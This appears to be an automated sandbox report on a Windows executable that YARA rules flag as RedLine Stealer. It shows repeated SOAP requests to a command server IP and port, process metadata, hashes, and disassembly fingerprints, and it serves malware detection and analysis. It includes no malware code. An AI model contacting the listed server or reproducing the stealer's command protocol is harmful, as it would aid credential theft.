62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:10:18.297595024 CEST	10727	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:10:18.366451979 CEST	10727	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:10:18.435919046 CEST	10728	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:10:18 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:10:19.455382109 CEST	10728	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:10:19.524497986 CEST	10728	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:10:19.598505974 CEST	10730	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:10:19 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:10:20.611269951 CEST	10730	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:10:20.682384014 CEST	10730	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:10:20.761646986 CEST	10731	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:10:20 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:10:21.766633034 CEST	10731	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:10:21.839519024 CEST	10732	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:10:21.912858963 CEST	10733	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:10:21 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe PID: 968 Parent PID: 5724

General

Start time:	23:08:04
Start date:	03/08/2021
Path:	C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe'
Imagebase:	0x5a0000
File size:	364240 bytes
MD5 hash:	2E18A08987838BBC3C26FFDBBCEC1E62
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000001.00000002.223233962.000000000393A000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe PID: 992 Parent PID: 968

General

Start time:	23:08:16
Start date:	03/08/2021
Path:	C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe
Imagebase:	0x8b0000
File size:	364240 bytes
MD5 hash:	2E18A08987838BBC3C26FFDBBCEC1E62
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.465623603.0000000000402000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe PID: 968 Parent PID: 5724 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exeCOMMON

Executed Functions

Function 04E44088, Relevance: 4.6, Strings: 3, Instructions: 809COMMON

Download Yara Rule

Strings

cYz%, xrefs: 04E44AD8
m9x$, xrefs: 04E441DA
4)<w, xrefs: 04E444DF

Memory Dump Source

Source File: 00000001.00000002.225212492.0000000004E40000.00000040.00000001.sdmp, Offset: 04E40000, based on PE: false

Similarity

API ID:
String ID: 4)<w$cYz%$m9x$
API String ID: 0-3926543724
Opcode ID: c108e7ca8df3a21003a159ce35f5a67cadd37ae98323694aaa53dfcba203b827
Instruction ID: 1743a925c278d9f08998d0860fcfc793dfb76725884ba6786c74b42a317b5bf3
Opcode Fuzzy Hash: c108e7ca8df3a21003a159ce35f5a67cadd37ae98323694aaa53dfcba203b827
Instruction Fuzzy Hash: E6825C71D0061ACBDB10DFA9D84069DFBB1FF89304F21C69AD859AB351E731A986CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04E4E860, Relevance: 1.7, Strings: 1, Instructions: 439COMMON

Download Yara Rule

Strings

%, xrefs: 04E4EC49

Memory Dump Source

Source File: 00000001.00000002.225212492.0000000004E40000.00000040.00000001.sdmp, Offset: 04E40000, based on PE: false

Similarity

API ID:
String ID: %
API String ID: 0-2567322570
Opcode ID: 470ade5ce223794686e37f67c20f0f6747663f085b3f12f40d0e81a5b7cc4231
Instruction ID: e5ae0e479e8b0c9757b2f3919c23df4f0b4f2b34a258ccc3316ba23d207494f1
Opcode Fuzzy Hash: 470ade5ce223794686e37f67c20f0f6747663f085b3f12f40d0e81a5b7cc4231
Instruction Fuzzy Hash: 4E024C70E002088FDB14DFA9D454AAEB7B2FF89304F14896DD506AB395DB35E906CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04E451C0, Relevance: .4, Instructions: 367COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.225212492.0000000004E40000.00000040.00000001.sdmp, Offset: 04E40000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e34a6d6f02dd0ce9a88f6b31beff30e1059e8c1dfe980c3fa1d2d35805229226
Instruction ID: 66837441dbfde2c89e39191945c85a5b02dad72981c08b9859148a347bb5b1e1
Opcode Fuzzy Hash: e34a6d6f02dd0ce9a88f6b31beff30e1059e8c1dfe980c3fa1d2d35805229226
Instruction Fuzzy Hash: 66F1F5B5E002099FDB40CFA9D48069DFBF1FF89314B15C6AAD819AB315D774A886CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0279FC00, Relevance: 1.8, APIs: 1, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.221917190.0000000002790000.00000040.00000001.sdmp, Offset: 02790000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 304a8aa42650dceecb20a32f9f4beaf5a6c7b7e55125889ddaa09ba055b73846
Instruction ID: 1a4012b5df95f953cc6089d49cea21d0cc964650709a9cf9f9521957922b7876
Opcode Fuzzy Hash: 304a8aa42650dceecb20a32f9f4beaf5a6c7b7e55125889ddaa09ba055b73846
Instruction Fuzzy Hash: A3914BB1C093899FDB06CFA5D8909CDBFB1EF0A314F1A819AE444AB262D734594ACF51

Uniqueness

Uniqueness Score: -1.00%

Function 027993F0, Relevance: 1.7, APIs: 1, Instructions: 194COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 02799636

Memory Dump Source

Source File: 00000001.00000002.221917190.0000000002790000.00000040.00000001.sdmp, Offset: 02790000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 2b7641be326f3876fab44589bf098082d363501c8fef28aba53345897db9d164
Instruction ID: 3a328c20ca3a75f0345a827e98f1384c216b9ea3fb44c376bb3f206b29ad273a
Opcode Fuzzy Hash: 2b7641be326f3876fab44589bf098082d363501c8fef28aba53345897db9d164
Instruction Fuzzy Hash: 02712270A00B058FEB64DF2AE05575BB7F1BF89214F00892EE54ADBB50EB35E9058F91

Uniqueness

Uniqueness Score: -1.00%

Function 0279EC00, Relevance: 1.6, APIs: 1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.221917190.0000000002790000.00000040.00000001.sdmp, Offset: 02790000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e47b927d1616298f1b7919c8c7d84246ac5b5e07247cab22c0d4eeda39cb22e
Instruction ID: e08336b3396459a4f31f0817a7747d28f050635999bbc1b3ab8a451acb7e99be
Opcode Fuzzy Hash: 2e47b927d1616298f1b7919c8c7d84246ac5b5e07247cab22c0d4eeda39cb22e
Instruction Fuzzy Hash: CE5123B1C043489FDF11CFA9D890ADEBFB5BF48314F24862AE419AB211DB749845CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0279FD4C, Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0279FE6A

Memory Dump Source

Source File: 00000001.00000002.221917190.0000000002790000.00000040.00000001.sdmp, Offset: 02790000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 24075a52e8889eb6cc12710aefe2502527ea833b82e3d576a9c6ff2b674ddb09
Instruction ID: 455b9b9b969bc98577deb43597c6170d0c79d3d2f4b87a98791b2b566d525ee1
Opcode Fuzzy Hash: 24075a52e8889eb6cc12710aefe2502527ea833b82e3d576a9c6ff2b674ddb09
Instruction Fuzzy Hash: A451CEB1D003099FDF15CFAAD884ADEBBB5BF48314F24822AE419AB210DB759945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0279EC1C, Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0279FE6A

Memory Dump Source

Source File: 00000001.00000002.221917190.0000000002790000.00000040.00000001.sdmp, Offset: 02790000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: d0606b59091c67d0fc386c071e2f3883853ca499eeb4cf435df0041e8622efc3
Instruction ID: 4490e6fa6e4faa7a54b5e1bd8f8cf06bdc56f0ff1fa06a0afc5509c2983d35ad
Opcode Fuzzy Hash: d0606b59091c67d0fc386c071e2f3883853ca499eeb4cf435df0041e8622efc3
Instruction Fuzzy Hash: 3C51D1B1D003099FDF14CFAAD884ADEFBB5BF48314F24822AE419AB210D775A945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02793DE8, Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 02795401

Memory Dump Source

Source File: 00000001.00000002.221917190.0000000002790000.00000040.00000001.sdmp, Offset: 02790000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: be32dd6bcdced5f786f77a20b7bf385735bca319de9ebf55f9863f6eda2883ec
Instruction ID: 4f79c3a2a4bfe44afad298fa9c9fc8865816293726bee8a8935d64fe111ceddc
Opcode Fuzzy Hash: be32dd6bcdced5f786f77a20b7bf385735bca319de9ebf55f9863f6eda2883ec
Instruction Fuzzy Hash: 38410170C04728CBDB21CFA9D884B8EBBB5BF49308F248169D508BB251DB75A946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04E423B0, Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 04E42471

Memory Dump Source

Source File: 00000001.00000002.225212492.0000000004E40000.00000040.00000001.sdmp, Offset: 04E40000, based on PE: false

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 48c63cb5703f073f89cab0089e9e4c515107ae53a4f486dd93102f6d64dfb803
Instruction ID: a38d414a2747069b0866c180c833c61e3fc7ed4f105a514d0bfc10614b4e0852
